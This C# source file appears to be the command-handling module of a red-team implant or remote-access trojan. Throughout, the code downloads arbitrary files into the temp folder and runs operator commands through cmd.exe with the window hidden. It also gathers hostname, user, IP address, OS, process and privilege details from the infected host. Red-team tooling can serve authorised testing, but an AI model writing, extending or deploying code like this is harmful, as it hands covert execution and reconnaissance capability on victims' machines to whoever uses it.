using System; using System.Linq; namespace RedTeamDevelop { class Operations { GeneralInfo ninstance = new GeneralInfo(); public Operations(GeneralInfo instance){ ninstance = instance; } public void CommandParser(string cmd){ //download url ls ipconfig string command = ""; string argument = ""; if(cmd.Contains(" ")) { command = cmd.Split(" ")[0]; argument = cmd.Split(" ")[1]; } else{ command = cmd; } if( command.Contains("download")) { DownloadFile(argument); } else if(command.Contains("cd")){ SetWorkingDirectory(argument); } else if(command.Contains("ls")){ Console.WriteLine(EnumWorkingDirectory(argument)); } else if(command.Contains("hostname")){ GetHostName(); } else if(command.Contains("osinfo")){ GetOsInfo(); } else if(command.Contains("username")){ GetUserName(); } else if(command.Contains("processinfo")){ GetProcessInfo(); } else if(command.Contains("pwd")){ GetWorkingDirectory(); } else if(command.Contains("ipaddress")){ GetIpv4Address(); } else if(command.Contains("privileges")){ GetPrivileges(); } else if(command.Contains("exepath")){ GetExePath(); } else{ ExecuteCMD(cmd); } } public string DownloadFile(string url) { try{ System.Net.WebClient wInstance = new System.Net.WebClient(); string tempPath = System.IO.Path.GetTempPath(); string fileName = url.Split('/')[ url.Split('/').Length-1]; string savePath = tempPath + fileName; wInstance.DownloadFile(url, savePath); return "File has been downloaded to: " + savePath; } catch(Exception e){ return e.Message.ToString(); } } public string SetWorkingDirectory(string path) { try{ System.IO.Directory.SetCurrentDirectory(path); return "Directory changed"; } catch(Exception e){ return e.Message.ToString(); } } public string EnumWorkingDirectory(string path) { try{ if(path=="") { path = ninstance.cDirectory; } System.Text.StringBuilder sbInstance = new System.Text.StringBuilder(); var dirs = from line in System.IO.Directory.EnumerateDirectories(path) select line; foreach(var dir in dirs) { sbInstance.Append(dir); sbInstance.Append(Environment.NewLine); } // C:\Windows // C:\... // var files = from line in System.IO.Directory.EnumerateFiles(path) select line; foreach(var file in files) { sbInstance.Append(file); sbInstance.Append(Environment.NewLine); } string DirsAndFiles = sbInstance.ToString(); return DirsAndFiles; } catch(Exception e){ return e.Message.ToString(); } } public string ExecuteCMD(string command){ try{ string results = ""; System.Diagnostics.Process pInstance = new System.Diagnostics.Process(); pInstance.StartInfo.FileName = "cmd.exe"; pInstance.StartInfo.Arguments = "/c " + command; pInstance.StartInfo.UseShellExecute = false; pInstance.StartInfo.CreateNoWindow = true; pInstance.StartInfo.WorkingDirectory = ninstance.cDirectory; pInstance.StartInfo.RedirectStandardOutput = true; pInstance.StartInfo.RedirectStandardError = true; pInstance.Start(); results += pInstance.StandardOutput.ReadToEnd(); results += pInstance.StandardError.ReadToEnd(); return results; } catch(Exception e) { return e.Message.ToString(); } } public string GetHostName(){ return ninstance.hostName;} public string GetUserName(){return ninstance.uName;} public string GetIpv4Address(){return ninstance.ipv4address;} public string GetProcessInfo(){return ninstance.pName + " " + ninstance.pId;} public string GetPrivileges(){return ninstance.isAdmin.ToString();} public string GetWorkingDirectory(){return ninstance.cDirectory;} public string GetExePath(){return ninstance.ePath;} public string GetOsInfo(){return ninstance.oSystem;} } }